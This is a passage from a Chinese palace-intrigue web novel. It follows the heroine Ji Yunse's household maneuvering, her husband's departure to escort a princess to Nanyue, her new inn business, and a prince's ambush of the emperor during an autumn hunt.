“也罢,去听听太医怎么说。” 成婉思飞快地答应了一声,随即扶着她出了门。庄氏虽已年过花甲,但精神体力充沛,脚步也利索,不一会儿,二人便行至了清珩院。 外院的小厮见庄氏亲自过来,正要入内禀报,却被成婉思拦住,道: “大嫂在诊脉不好喧哗,我和老祖宗直接进去吧!” 一行人步入内院,果然见日常服侍纪云瑟的两个婢女,还有陈嬷嬷都在屋外忙碌,成婉思心中一阵窃喜,对欲入屋内传信儿的陈嬷嬷道: “不必打扰太医看诊,我与祖母瞧一瞧大嫂就好。” 她还特地压低了声音,庄氏倒是察觉了一些不对劲,哪有宅院内的媳妇见外男不留几个人在屋子里服侍的? 她见陈嬷嬷还欲开口说话,一个眼神过去制止了,随即沉下脸,松开了成婉思挽过来的手,向身旁的李嬷嬷示意径直推门。 门骤然被推开,里面的人似吓了一跳,成婉思也愣在了当场。 第104章 万氏用了早膳后,就到了清珩院,纪云瑟早听到报信,穿上一件家常的素锦衣裳出来相迎,万氏见她面色有些苍白,忙上前拉着她的手,颇有几分心疼,道: “哎哟,你身子不适,就别走这些虚礼了。” 她昨日从娘家回府,便听说了福欣堂的事,带着些许歉疚,道: “都是老三媳妇太过鲁莽,害你受委屈了。” 纪云瑟让着她在堂屋主位坐下,又吩咐了效猗上茶,才自己坐在她身侧,道: “不能怪三弟妹,是我自己没福,亲娘走得早,继母又…咳…咳…” 万氏忙拍了拍她的背,道: “好孩子,别这么说。” 纪云瑟低低咳了几声,朝她面露感激: “幸好有世子怜惜,嫁入国公府,又有婆母这样疼我护我,可偏生,我这身子又不争气。” 万氏安慰她道: “你年纪还轻,有什么不能调理的?” “不过是吃两副药的事,不必担心。” “儿媳明白。” 纪云瑟点了点头,看了她一眼,又道: “不过,婆母您千万别怪我。” “昨日,我还与世子说,国公府中馈的重担,我恐是接不了,还得继续辛苦二弟妹呢!” 万氏怔了怔,晏徇的确在晏时锦筹备婚事时与她提起过,等纪云瑟进门,中馈就该交给这位世子夫人,若再让老二媳妇管着,不成体统。 万氏自是不愿,她从前当家时,事事受婆母庄氏的掣肘,除了累死累活地操心,什么好处都没捞着,就连给自己远方亲戚弄个采买的活儿都做不得主。 好不容易等庄氏老了不再过问,如今管家的二儿媳薛氏又是个懂事识礼,事事来请她这个婆母意思的孝顺孩子,她还没享受到媳妇熬成婆的几日好处,就要将这肥差拱手让人, 万氏的确心有不甘,但再不甘也无可奈何,毕竟晏时锦才是不可撼动的世子爷,这硕大的家业日后也是他的。 如今听纪云瑟如此说,她实是有几分窃喜,忙握着她的手劝慰道: “好孩子,别说这个,养好身子是首要的。” 纪云瑟点点头,浅笑一声: “能遇上您这样的婆母,是儿媳的福分。” “昨日,我还与世子说,若是我俩搬出去了,第一个舍不得的就是婆母您了。” 万氏诧异道: “你们…要搬出去?” “此话何意?” 纪云瑟似才发觉自己说快了嘴,忙捂着,摇摇头,道: “哎呀,我…我不是…” 见她投来无辜求救的目光,万氏大概猜到了几分,忙拍拍她的手背,道: “无妨,我不告诉国公爷就是。” 她知道晏时锦身为陛下亲外甥,私产庄园有许多,他既做了这番打算,总是要跟家人提起的,万氏自不能插嘴。 不过,若是他们单独立府出去,有陛下的隆恩赏赐,日后定不会再回来,那这边老宅和泽辉园,就能留给她的两个儿子了。 纪云瑟扫过万氏明显要加深的笑纹,道: “多谢婆母。” 她们也算各取所需。 不多时,效猗来报,宫里的太医来了。万氏便起身要离开,纪云瑟忙拉住她,道: “婆母别急着走,这位沈太医医术精湛,最擅针灸,儿媳看您似时常肩膀疼,不如让他给您灸一灸。” 万氏不得不感叹这姑娘就是与她投缘,比起老二媳妇的严肃古板,和老三媳妇的娇气霸道,处事说话方方面面让她满意不说,连她偶尔揉肩的动作都注意到了。 盛情难却,万氏留了下来,纪云瑟还贴心地吩咐崇陶效猗去准备针灸后喝的姜汤。 庄氏和成婉思闯入时,万氏已经扎过了针,沈绎正在为她艾灸,纪云瑟亲自持了一根艾条与万氏的婢女一左一右灸她的风池穴。 “呦,大嫂怎的白日里也不留个人在屋子里伺候着,就这么……” 成婉思的话在看到万氏的那一瞬戛然而止,屋子里寂静了几息,纪云瑟十分诧异地先看了一眼目瞪口呆的成婉思,再看了一眼怔然的万氏,才忙着放下手中的艾条,挪着步子过去给庄氏行了个礼: “不知祖母亲自过来,未曾远迎,请祖母恕罪!” 庄氏久居内宅,什么事没经历过?目光从几人面上扫过,最后落在明显吃了瘪的成婉思身上,大致就明白了几分,神色如常,道: “听闻你请了太医来瞧,我来看看。” 万氏听到成婉思的话,蹙了蹙眉,先起身到庄氏面前,笑道: “母亲怎的亲自过来了?” “云瑟见我时常肩背疼,特地让太医先给我瞧一瞧。” “这不,沈太医好医术,就这一会儿工夫,媳妇竟好了许多。” 成婉思讪讪吐出几个字: “原来…是母亲在这里…” 万氏看她这番模样,再蠢也猜到了缘故,不禁恨铁不成钢地剜了她一眼,也不想护着她,直言道: “否则你以为呢?” 庄氏不想趁了纪云瑟的愿,向万氏道: “好了!” “婉思也是一片好心,关心她大嫂,特地过来看望。” 她看了一眼纪云瑟后,道: “既然没什么事,咱们走吧!” 在太医面前,还嫌不够丢脸? 成婉思心中忿闷,却也无可奈何,只得扶着庄氏离开。 万氏刚得了纪云瑟的多番示好,自己的媳妇却如此陷害她,哪里还有脸多留,悄悄附在她耳畔,表示定会为她做主后,也跟了出去。 纪云瑟送走了她们,回来就瞧见沈绎背负双手立在那儿,面色微黯。她耸了耸肩,露出一抹歉意的笑: “夫子,对不起,我……” 沈绎叹了口气打断她: “我不是气你想说的利用,你能想到找我帮忙自是好的,我义无反顾。” “只是……” “唉,罢了!” 他坐在一侧的圈椅上,将小软枕向她的方向推了推,道: “我先看看你的脉。” “我没事,都是装的。” 纪云瑟隔着案桌坐下,压低了声量,道: “今日请夫子过来,是想问问,夫子可记得当年我祖母的脉象,是否与太后娘娘的有什么相似之处?” 沈绎伸向软枕的手一顿,敛眸道: “为何突然这么问?” 纪云瑟没有瞒他,将李妃所言和自己查到的异样都说了一通,道: “夫子还记得么?太后去世时,我也曾问过您,她老人家的病情是否有可疑之处,如今看来,李妃就是想告诉我这个。” 沈绎没有答她,只问道: “既然世子知晓,你为何不直接问世子?” 纪云瑟愣了愣,直言道: “我怕他糊弄我。” 想了想,又解释道: “在江州时,他就假借公务,故意受伤骗我,如今涉及到皇长子和太后,如果我没有猜错的话,他既知晓真相却又不告诉我,定是涉及皇权,而我祖母的分量,自是无法与朝政事务相提并论。” “所以,我只能来问您。” 沈绎将软枕收入药箱,道: “那你又怎敢确保,我不会骗你?” 见她一脸怔然明显讶异不小的神色,沈绎终是微不可察地叹了口气,道: “你说的这件事,我会替你去查,毕竟我在太医署,要查太后和皇长子当年的脉案轻而易举。” “此事,除了我,…和世子,其他人若再与你说什么,都不要信,也不必在意。” 纪云瑟见他神色凝重,随即问道: “是不是宫里出什么事了?” 沈绎已经收拾好了药箱,他看了小姑娘一眼,说道: “陛下已经允准了曦和公主与南越世子的婚事,恐怕过些时日就要送公主和亲。” 纪云瑟十分惊异: “陛下同意了?” “公主殿下,她也愿意?” 沈绎神色有些复杂,道: “南越世子昨日亲临求娶,公主自言与他一见倾心。” 他没有再多言,嘱了她一句保重后,提着药箱告辞离开。 纪云瑟不知为何他们的话题突然转到了赵沐昭身上,但以她对那位刁蛮公主的了解,不应该。 心高气傲的赵沐昭怎会答应嫁入那莽荒之地? 但她很快操心的就不是这桩婚事本身了。 晏时锦至晚方归,目光扫过堂屋摆着未动的饭菜,伸手揽过闻声掀帘而出的少女,道: “不是让人回来说了,叫你不必等我么?” 纪云瑟递上净手的湿巾帕,道: “你总是忙着就忘了用膳,我一个人吃着也没劲,不如等你。” 陈嬷嬷立刻和崇陶效猗几人端着饭菜去重新温了端过来,纪云瑟与他说起今日请了沈绎来给万氏针灸,成婉思领着庄氏过来的事,原以为这厮总会揶揄她几句,没想到,他只是拧了拧她的脸颊,笑道: “这回满意了?” 纪云瑟点点头,露出一抹得意的笑: “听说,婆母回去就将你三弟媳训了一顿,老太太这回也不说情了。” 而且,万氏还在老太太面前说了许多她的好话,有说她身子弱,得好好养着方有利于子嗣,想来她可以消停好一段时日了。 用了膳后,二人依旧在院子里走一走消食。纪云瑟直接提起沈绎告诉她的赵沐昭和亲之事,问他: “真的么?” 晏时锦握紧了她的手,颔首道: “不错,婚期已于今日定下。陛下命我三日后,送公主去南越。” 纪云瑟停下脚步,诧异看向他: “你去?” “为何?” “那不是兄长该做的事么?怎么会让你去?” “怎么?” 晏时锦扫过她目光中明显的怅然,握着她的手,捏着她的腕骨摩挲着,道: “舍不得我出远门?” 纪云瑟只低下头,弱弱道: “公主有两个亲哥哥,你不过是个表兄,陛下为何偏偏让你去?” 晏时锦低下头看着她,笑了笑: “你是为我担心?” 这两日,他一直在等她问纪太夫人与太后同时中毒之事,却不料她宁愿舍近求远去找沈绎,也不愿在他面前提起,若说没有失落是假的。如今看她这副模样,终是露出了一抹笑意。 纪云瑟也不知为何,一听他要去南越送亲,心口突然猛然跳了跳,好似有什么不详的预感,闷闷道: “我当然担心你!” 晏时锦将人搂入怀中,笑道: “不过是分开一个月而已,若是舍不得,你随我一道去如何?” 纪云瑟眨了眨眼: “真的?” 晏时锦捏起她的下巴,啄了啄她的唇瓣,道: “假的!” “沿途多山路,颠簸陡峭难行,你去做什么?好好在家等我就是。” “有你这份担忧,我就心满意足了!” 纪云瑟没好气地捶了他一拳,又不知该说什么,手上却下意识抱紧了他,只道: “那你一路小心些,别让我担心。” “等你回来,我还有话问你!” 第105章 秋日的夜凉意渐浓,星光点点,新婚的小夫妻氤氲在小院内桂花树下的香气中,如往常一样,却又似有些不一样。 纪云瑟不是完全不通朝政事务之人,若只是一般的公主出嫁,定轮不着 晏时锦护送,他是京卫司指挥使,护佑整个京城的安危,骤然离京去南越,说不定是有什么内情。 她很快联想到他在江州和扬州面临的几次危险,虽说他那次受伤是故意,但确是实实在在的高手暗杀。 对比探究祖母生病的真相,她更加担心的是他此番出远门会不会又有危险。 纪云瑟此刻的心情分外复杂,却听他的胸腔内传来一道声音: “有什么话你得赶快问,若是我回不来,你可就……” 还未说完的话被突然伸来的一只手堵了回去, “你胡说什么!” “好端端的,为何咒自己?” 纪云瑟瞪眼看着他,像一只炸毛的母狮,晏时锦细看了一眼她嗔怒的小模样,就势吻着她微凉的手指,道: “逗你的。” “我还怕你趁我不在京城,又跑了!” “嘁……” 纪云瑟没好气地轻哧一声,却听他抚着她的鬓发,慢悠悠道: “只是这回,卿卿是不是考虑考虑从我身边拐个人一起跑?” 纪云瑟诧异地抬眸看向他: “要我拐谁?” 男子轻笑一声,附在她耳畔低语了一句,少女方反应过来,瞬间温热爬上脸颊,又捶了他两拳。 晏时锦握着她的手,道: “好了,留些力气夜里用。” “还有正事与你说。” 纪云瑟: “……快说!” 晏时锦搂着她继续往前走,替她拨开面前的一枝金桂,道: “前几日你让我帮你查城南那间归祥居,我已让青霜细细查了一遍,客栈并无问题,只是,原本的东主是胡人,故而那里住的多半是外来客。” “你可有想清楚,真的要盘下来么?” 纪云瑟点点头: “如今大缙与周边几个属国通商频繁,我就是看中了那客栈有固定的客源,况胡商在京城约束颇多,反而不易出事。” 开客栈最怕的就是碰见寻衅滋事的客人,她曾听姨母说周边国与大缙做生意,反而不敢胡来,特别是在京城。 晏时锦道: “可你语言不通,如何交流?” 纪云瑟道: “我已经让破竹去问过,掌柜的和几个跑堂愿意留下,他们与胡人打过数年的交道,算是通晓几国的语言。” “到时,我再另外招几个懂胡语的新人,咱们有时再跟他们学一学,会表达几句就够用了。” “况且,你家四弟不是在鸿胪寺么?若是有什么不懂的,我问问他。” 一说起生意这姑娘两眼都冒光,晏时锦兀自笑了笑,道: “既然你已经想周全了,那就去做,我会让赤霄留下来帮你。” 纪云瑟立即道: “不必了,你去往南越路途遥远,他们几个自然得跟着你。” “我有破竹他们几个,够用了。” 晏时锦听出了她话中对他的关心,摸了摸她的脊背,带着一丝安抚,道: “好。” 夜色沉寂,男子看着熟睡的少女,轻轻掀开被衾起身,又重新给她掖好,凝视她片刻后,方挪出纱帘外。 紫电和青霜早已在外书房候着,晏时锦一见他们凝重的面色,已经猜到了几分: “还是没有异样?” 紫电道: “南越世子入京后,除了出席陛下赐的宴席,一直待在四夷馆,哪里都没有去。” “所接触之人,平日里也就是鸿胪寺的几位寺丞,其他的也无可疑。” 青霜也道: “这些时日,夏氏和蔚王一切如常,没有发现有谁刻意与南越接触。” 晏时锦坐在圈椅后,拧着眉心,夏氏一族和蔚王在宫外没有任何动静,而夏贤妃在后宫也迟迟没有对皇后腹中的皇子动手,连李妃都坐不住了,想通过纪云瑟在后面使力,迫他揭出当年的真相给夏氏定罪,莫非真是他杞人忧天了? 不可能! 夏氏布了近二十年的局,绝不会功败垂成。 紫电试探着问道: “世子,何不找沈太医,要他呈上当年的所有证据,便可定夏贤妃的罪,夏氏一族和蔚王亦会受牵连,属下以为,如此可事半功倍。” 晏时锦摆摆手: “不可。” “一则,沈绎若是愿意,早就如此做了,但为了他生父的清誉,和……” 顿了顿,他继续道: “他不会同意。再则,如今已过了最好的时机,若是此时逼急了夏氏,反而会让他们狗急跳墙,而我们措手不及。” “趁他们还未完全掌控局面,我们尚有时间布局。” 青霜道: “世子,何不将所有疑点报于陛下,先折夏氏的臂膀,他们便掀不起风浪了。” 晏时锦摇头,道: “不可,一则,你知道只是疑点,没有确切的证据,他们一个是宫妃,一个是皇子,不可能对他们用莫须有的罪名。再则,我们如今连夏氏还有什么隐藏的臂膀都没有摸透,如何去折?” 他从前一直以为,夏氏只是通过安插朝臣到各部各地,来掌控朝堂,从而强迫陛下立储,可自从他从江南回来,夏氏折损了许多人手之后,反而不焦不燥。 倒让他突然觉得,夏氏手中或许另有底牌,而那底牌,恐怕是他和从未曾想到过的。 他望向窗外漆黑的夜色,乌云遮月,似乎连细微的星光都被黑夜吞噬殆尽。 默了一瞬,晏时锦提笔写下一封密信,用火漆印封口,向紫电道: “命可靠暗卫,将此信快马送至北疆,亲手交与厉书佑。” “做好一切准备,防患于未然。” 朝堂对于永安帝将最疼爱的长女下嫁南越一事,终是有许多争议,永安帝亦是几日之间熬白了两鬓的几丝愁发。 但赵沐昭坚持说自己倾心于南越世子,更兼南越世子带着使臣软磨硬泡,屡次以国书示好,言辞恳切,加之朝中亦有大臣力谏,言明与南越修好可解边疆之患,永安帝最终颔首应下。 宣读赐婚圣旨那日,赵沐昭笑靥如花,仿佛真得偿所愿。 然而,宣旨的江守忠刚走,那抹未达眼底的笑意顷刻散去,赵沐昭缓缓垂下眼帘,掩去眸中一闪而过的冷意。 她站在院内的梧桐树下,任凉风拂面,看向高耸的宫墙,握紧圣旨的手指逐渐收紧,指节泛白,努力压抑心中翻涌的情绪。 玉拂抹着泪在一旁,满脸心疼: “公主…” 赵沐昭看了她一眼,缓缓吐出几个字: “母妃该满意了吧?” 曾几何时,她以为自己在母妃的心里,和皇兄一样重要,可如今才知晓,为了皇兄,为了夏氏,她不过是一枚随时可以舍弃的棋子。 三日,她看着眼前生活了十八年的宫墙殿宇,心中恍然生出一阵凄凉,还有三日,她就要离开这里,曾经那点天真的依恋,终究也被皇权碾得粉碎。 她缓缓迈步入正殿,看着殿内金碧辉煌的陈设,如今却觉得每一处雕花都暗藏刀锋,母妃慈爱的笑容下,竟早已将她的一切算计在内。 她自以为是高贵的公主,其实只是个沦为弃子的可怜虫。 ~ 有了晏时锦的暗中助力,纪云瑟十分轻松就盘下了客栈,原本的胡人东家不太擅经营,欠了掌柜的和伙计不少工钱,纪云瑟让效猗一次性都补给了他们,几人皆愿意留下继续给新东家效力。 但纪云瑟却不敢全部用旧人,让效猗从中选了几个老实本分的留下,自己招了新掌柜,又让破竹几个平日里轮流值守当伙计。 好在客栈原本的设施齐全,只稍微修缮了一番,改了个“栖云居”的招牌,便重新开张。 但这几日,都是崇陶和效猗每日外出帮着打理客栈的日常事务,纪云瑟多半是在府中。 晏时锦临别永安帝从宫中直接回府时,就见她正在整理他的衣物,陈嬷嬷在一旁问道: “夫人,冬日的大氅也要带么?” 纪云瑟看了一眼她从衣柜里翻出来的一黑一灰的两件狐狸毛氅衣,毫不犹豫,道: “带上吧,估摸着回来时,就要过冬了。” 晏时锦忍不住笑出了声音,被少女发觉后,嗔道: “还不过来帮忙!” 晏时锦轻笑着走上前,将她鬓角的一缕沾着细汗的碎发轻轻拨至耳后,接过她手里毛绒绒的衣裳,道: “傻子,我是去南越,这东西用不着。” “你不是去过暹罗么?可记得那边的冬日是怎样的?南越大约亦是如此。” “再说,我不过是一个月的时间,还没到冷的时候。” 纪云瑟想了想,暹罗好像确实一年四季都是夏日,只得吩咐陈嬷嬷再把厚衣裳都放回去。 晏时锦看着她一脸认真的模样,忍不住捏了捏她的脸颊,将她拥入怀中,道: “别忙了,带这些已经足够。” 纪云瑟也不知为何这两日总有些烦躁不安,似非要找些事情做,但做着做着又心烦意乱。 现下 被他拥着,听到他沉稳的心跳声,心里那股焦灼才稍稍平复。 她大约明白自己是为什么,可是又不愿承认,明明她是被他胁迫回京城,不得已才嫁他的,这才几日,怎的就生出不舍来了? 她不是应该如他所言,趁他不在京城时,再逃一次的么? 男子低沉的声音透过胸腔传来: “你放心,我会尽快回来。” 纪云瑟将脸埋得更深,闷声道: “随你。” 发觉他的手挪动了位置,她立时按住: “净手,用膳。” “已经净过了……” 话音刚落,纪云瑟只觉浑身一轻,被他抱着放在了案桌上,覆唇吻了来过来,轻车熟路地撬开了她的唇齿,强势地攻城略地。带着薄茧的指尖拂过层层衣物,最后落在轻纱之下,酥麻随之蔓延开来。 最后一夜的告别最终用了行动表示,化作深切的缠绵。 他唇瓣咬着她的耳珠,声音沙哑: “成婚之后,该唤我什么?” 纪云瑟被抵住深吻颤得说不出话来,在他缓下的间隙才幽幽吐出几个字: “子睿……” “不对……” 他的吻势加剧,汹涌澎湃,纪云瑟不得不在一片濡湿温热中循到几分理智,道: “夫君……” 他终于心满意足,滑过她的掌心十指紧扣,与她深深交缠,肆意放纵之后,也久久不愿退出,只是紧紧拥着。 故而第二日,纪云瑟在听到身边人起身的动静时,还是睁不开眼睛,与大婚那日相似的种种不适随即涌了过来。 晏时锦在她的额间留下一吻,道: “不必起来了。” 纪云瑟强打着精神,嗔怪地看了他一眼,只得点头应道: “好。” “早去早回。” “我在家等你。” 第106章 朝阳洒下金黄的光辉,斜照在斑驳的城墙上,初秋的风裹挟着城外官道的风沙,掠过猎猎作响的旌旗。 永安帝负手立于丹墀之上,玄色龙纹的衣摆被风掀起,他的眼角微微抽动,目视城门下送亲的仪仗,映出眼底的红光。 身着大衫霞帔,头戴九翟冠的曦和公主缓缓跪下行礼: “儿臣拜别父皇,日后恐不能在父皇面前承欢膝下,愿父皇龙体康健,福寿永宁。” 她的额头抵在冰冷的青石地面,永安帝蹙眉垂眸,余光扫过握紧帕子捂着胸口的夏贤妃,默了片刻,终究没有开言,只摆了摆手,江守忠会意,高唱道: “吉时已到!” 赵沐昭伏在地面的手颤了颤,被身旁的玉拂和玉晓搀起,仰头望了一眼迎风而立的永安帝,转身踏上鸾轿,帘幕垂落的刹那,她咬住唇,泪水无声滑落。 “出发!” 晏时锦一声令下,送亲的队伍沿着官道远去,马蹄扬起的尘烟落定,繁华的京城又恢复了往日的熙攘。 公主的肆意远嫁,落在百姓口中不过是一段茶余饭后的谈资,热闹看完,议论过后,无声无息。 秋高气爽时节,一年一度的西山秋狝来临,对于崇文尚武的大缙朝来说,不仅象征着皇室对武备的重视,更是一场彰显国威、震慑边境的盛事。 纪云瑟不会骑射,原本不想凑这个热闹,无奈孙雪沅定要让她一同去,说是在西山围场没有宫墙的阻隔,没有出入宫门的约束,二人可以时常见面说话。 她知道这是孙雪沅一番好心,怕她因晏时锦不在,独守空房觉得闷,便答应了。 申时末,銮驾领着众朝臣和官眷们的马车队伍浩浩荡荡,终于抵达西山行宫。 整座行宫位于山脚,毗邻西山围场,乃太/祖皇帝所建,有数十座宫殿院落,许多亭台楼阁,错落有致,掩映着苍翠古树,静谧雅致又不失雄伟气势。 司礼监和礼部早已将行宫各处单独人员安置布排妥当,帝后居正中的碧霄宫,其他嫔妃们居了西北角的逸祥宫。除了东北角的几处殿台楼阁留着用宴会之所,其他的大小宫轩均安置了朝臣和家眷。 像晏国公府这样的诸王公爵,算是一大家人一同出行,都是安置在一个完整的院子中。 孙雪沅知晓纪云瑟不愿与人挤着,便特地吩咐司礼监给她安排了一个离碧霄宫不远的单独小院子,不与晏徇万氏和老二、老三夫妇一同住,让她自在一些。 马车直接驶入了小院,崇陶见自家姑娘斜倚在软榻上睡得正香,便没有叫醒她,悄悄先去收拾屋子。 夜幕降临,崇陶方回到马车把自家姑娘推醒,笑道: “姑娘这几日夜里总说不好睡,在马车上一路颠簸,倒是睡得香,奴婢都舍不得叫您。这不,司礼监奉皇后娘娘之命送了晚膳过来,您还是起来用些吧。” 纪云瑟揉了揉惺忪的睡眼,问道: “就到了?” 崇陶点点头,给她倒了水,看着她喝完,才为她披上一件披风,道: “姑娘下来看看吧。” 纪云瑟掀开车帘,见是一个颇为宽大的院落,院内有个小池塘,放着几块太湖石,种着不知名的大树,除了正屋三间房外,还有两侧的耳房和东西厢房。 破竹和流水穿杨几个正在给她搬运着箱笼,崇陶陪自家姑娘看了一圈,引着她步入堂屋,道: “陈嬷嬷给您备水去了,您洗洗脸再用膳吧。” 崇陶在一旁打开食盒,不禁赞道: “皇后娘娘真是待姑娘亲厚呢,您瞧,这些膳食多精致。” 纪云瑟倒是没心情享受美食,看了一眼,道: “我吃不了这些,叫上效猗和陈嬷嬷一起过来吃吧。” 崇陶诧异地看了她一眼,随即走过来摸了摸她的额头,嗤笑道: “姑娘可是睡迷糊了?” “您忘了?效猗没跟着咱们过来呢!” 纪云瑟用凉水擦了一把脸,终于清醒了一些,才想起效猗被她留下在客栈看着,无奈笑了笑: “瞧我这脑子!” 崇陶给她将饭菜布好,道: “您这段时日去宫里多了些,效猗忙着也没跟您说,前些日子因着南越世子带着使团在京城许久,便跟着过来了许多南越的客商,故而咱们栖云居的生意还不错。” “还有几个北燕的皮货商,是一直在客栈里住着的,听说他们又签了几单大生意,故而又续住了许久。” 纪云瑟一面喝汤,一面随口问道: “每日都能住满么?” 崇陶道: “这几日约莫差不多。” “昨日效猗带了入住客房的记录账册回来,奴婢带上了,您吃过饭瞧一瞧。” 见纪云瑟神情有些闷闷的,崇陶笑道: “奴婢前日去了一趟,姑娘您是没听见那些客商说话,叽里咕噜的,特别是南越人,说是在不同的山头,就有不同的口音。” “奴婢看掌柜的和小二们应付这些,着实费了一番工夫。” “打着手势,还得半疑半猜。” “如今破竹他们几个,也在学着说一些,等奴婢学会了,说不定还能教姑娘您呢!” 纪云瑟点头应了一声好 ,待吃饱了肚子后,思绪也终于回来,细细看了手中的账册,道: “这人字号客房每日都会住满,如此的话,我倒是觉得,要不把原先的两间天字号房改一改,约莫能改出四间人字号,这样的话,天字号房不至于空着,人字号房也不至于不够住。” “毕竟住这里的客商大多是常住,选天字号的不多,但他们约人谈生意,又需要人字号房撑撑场面。” 崇陶点点头,笑道: “姑娘说得有理,还是您聪明!只可惜,咱们远在西山,不好告诉效猗去。” “否则,让她早些和掌柜的商量一下,腾两间上房快些改出来,生意恐怕会更好。” 纪云瑟想了想,道: “无妨,我明日禀明皇后一声,找谢绩弄个随时出入行宫的令牌,再要一匹快马让破竹回去一趟通个信儿。” 什么事都能耽搁,可不能误了她赚钱。 临近冬日,正是北疆几个小国的皮货商最好做生意的时候,若是过了这一遭,就得等明年了。 她又让破竹根据记忆将客栈两层楼的构图大约画了一番,自己先大致选了觉得适合改的天字号房,让破竹一并带回去给效猗瞧一瞧。 第二日便是永安帝带着皇子们和朝臣们练习热身。 天气晴好,秋风掠过木兰围场,卷起金黄色的草浪。远处的山峦层林尽染,围场四周绣着龙纹的明黄色旗帜在风中舒展,彰显着皇家的威严。 孙雪沅已经有六个月的身孕,在皇帐内待着闷,便寻来纪云瑟说话。 两人饮了一盏茶,见她看着围场内的人马喧嚣出神,笑道: “若是晏世子来了,恐怕头筹就是他的。听陛下说,他的骑射在京城可是无人能及。” 纪云瑟抚着脸颊回过神,淡淡一笑,道: “娘娘过誉了。” 孙雪沅将一叠糕点往她面前挪了挪,道: “尝一尝这个。” “我瞧着你,似乎近来瘦了些,可是世子不在,没有吃好睡好?” 纪云瑟拿起一块轻咬了一口,道: “谢娘娘关心。倒不是这个缘故。” “是我前些时日在城南盘下了一间客栈,如今正是刚开张,稍微忙了些。” 孙雪沅从前听她说起过这几年在外做生意的事,倒也不觉奇怪,便问了问客栈的情况。纪云瑟正好提起要令牌的事,孙雪沅自是答应,让身边的宫人把谢绩找来。 谢绩正在教小公主赵沐晗骑马,闻言,把小娃娃一同带了过来,给了令牌后,赵沐晗便行至纪云瑟的面前,仰起小脸,脆生生道: “表嫂觉得阿晗骑术好不好?” 这些时日纪云瑟时常入宫,小娃娃已经跟她混熟了,十分喜欢这位貌美温柔的表嫂。 纪云瑟弯腰将小姑娘抱起放在自己腿上,用帕子给她擦了擦汗粒和尘土,笑道: “公主骑得很好,表嫂都不会。表嫂跟你这般大时,胆子可小了,连马都不敢碰呢。” 小娃娃很是贴心,道: “师父会骑马,阿晗让师父教你骑。” 说罢扯着谢绩的衣袖,谢绩挠了挠头,一脸为难,道: “师父可不敢做你表嫂的师父,怕你表兄回来宰了师父。” 小娃娃还欲刨根究底,早已被孙雪沅用糕点塞住了小嘴,笑道: “阿晗累了,吃些东西再去骑吧。” 正好沈绎过来皇帐内,给孙雪沅送来安胎药,顺便请平安脉,孙雪沅喝过药后需回宫休息,谢绩带着赵沐晗继续回围场训练,众人皆散去。 纪云瑟与沈绎一道往行宫方向走,沈绎看了一眼她手中的令牌,问道: “这是……” 纪云瑟说了一番缘故,笑道: “夫子是不是该笑我满身铜臭了?” “到了这里,还时刻想着生意。” 却见沈绎果真蹙眉不语,似在深思什么,纪云瑟有些诧异地唤道: “夫子……” 沈绎突然握紧了手里的药箱,问道: “你带了几个侍卫过来?” 纪云瑟怔了怔,道: “三个。” 原本想着一个侍卫足够,但因为效猗不能跟着过来,她怕崇陶和陈嬷嬷做不了太多体力活,便多带了两人。 她看出沈绎的神色有些异样,问道: “夫子,怎么了?” 沈绎的确被她手中的令牌一下理清了思绪,但只是猜测,他无法透露什么,只道: “既然不是急事,便不要让他回去。” “听我的,这些时日,想办法尽量让他们跟在你身边。” 第107章 两日后是永安帝亲自带着皇子公主和几位宗室子弟试围。 秋凉气爽,有飞鹰在西山围场盘旋,马蹄声如鼓点般在密林间回荡。永安帝身着猎装,□□是一匹通体银白的汗血宝马,身后跟着数十名铠甲加身的羽林卫精锐。 “父皇,那儿有鹿!” 赵沐晗被谢绩护着坐在他的马上,第一次参加围猎的小公主兴奋地指着前方草丛里惊慌逃窜的鹿群,激动地伸手指着喊出了声。 谢绩轻笑一声,抬手稳住她乱晃的胳膊, “当心,小殿下。” 话音刚落,永安帝张弓拉弦,箭如流星般破空而去,一头雄鹿应声倒地,赵沐晗瞪大眼睛,满脸惊叹: “哇!父皇好厉害!” 永安帝笑着颔首: “送给阿晗好不好?” 赵沐晗高兴得连连拍手,永安帝收起弓,交给身后的羽林卫,目光不经意扫过侧后方心不在焉的蔚王赵檐。 赵檐似察觉到了一道审视的目光,抬眸迎上永安帝探询的眼神,立刻道: “父皇,听闻西山深处有白狐出没,儿臣在想,若能猎得,可为母妃做件冬裘。” “你能有这份孝心,朕心甚慰。” 也不枉费夏氏为他费心谋划。 永安帝淡淡收回目光,抽动马鞭向围场深处驰去,众人策马紧随其后。赵檐握着缰绳的手紧了紧,眸光微沉,向身旁的侍卫使了个眼色,侍卫会意,拨转马头悄然隐入另一侧林深处。 林间忽传来一阵异响,惊起数只飞鸟。 谢绩轻勒马缰,将赵沐晗护得更紧了些,目光却警惕地扫向前方深处。永安帝微微蹙眉,正要开口,忽听林中一声尖锐的哨响。刹那间,数百名黑衣人从四面八方的草丛中涌出,箭矢如雨般射了过来。 “护驾!” 谢绩大喝一声,一手将赵沐晗护在胸前,另一只手挥剑挡下飞向永安帝的箭矢。顷刻之间,数名羽林卫已中箭落马。 永安帝亦反应迅速,策马行至谢绩身旁,抽出腰间长剑迎击黑衣刺客,向谢绩道: “护好公主!” 黑衣人如潮水般涌来,羽林卫虽精锐,但猝不及防,一时间陷入混乱。谢绩一手紧揽赵沐晗,一手挥剑迎敌,剑光闪烁间,血珠飞溅,赵沐晗吓得直哭,几名黑衣人对视了一眼,齐齐向谢绩攻来。 谢绩沉声一喝,剑锋横扫,逼退迫近的剑刃,一边安抚怀中的赵沐晗: “公主别怕,有师父在!” 话 音未落,一支箭破空而来,插入他的左肩,血色瞬间晕开,□□的马亦中了一箭,嘶鸣一声,踉跄跪倒。谢绩咬牙借着冲势翻身滚落马背,将赵沐晗紧紧护在身下,鲜血顺着箭杆汩汩直流,他挥剑将箭砍断。 针对二人的围杀之势愈紧,黑衣人目露狠光,招招致命。谢绩受伤招架不住,眼睁睁看着赵沐晗落入其中一人手中。 “公主!” 谢绩欲追,却被几人缠住,血战之后,终究因力竭被制。永安帝一剑刺向面前的刺客,怒道: “你们是谁的人!” 一阵阴冷的笑声传来,蔚王赵檐缓缓策马从身后的密林中走出,手中已多了一柄寒光闪闪的长剑: “父皇……” “檐儿,是你?……” 永安帝瞳孔骤缩,似难以置信地看着这个平日唯诺没有主见的皇子。 赵檐脸上常见的笑意荡然无存,取而代之的是令人胆寒的冷漠,他将剑刃指向赵沐晗: “父皇若不想妹妹当场毙命,请放下手里的剑,随儿臣回行宫。” 日光西斜,映着行宫的飞檐角楼。 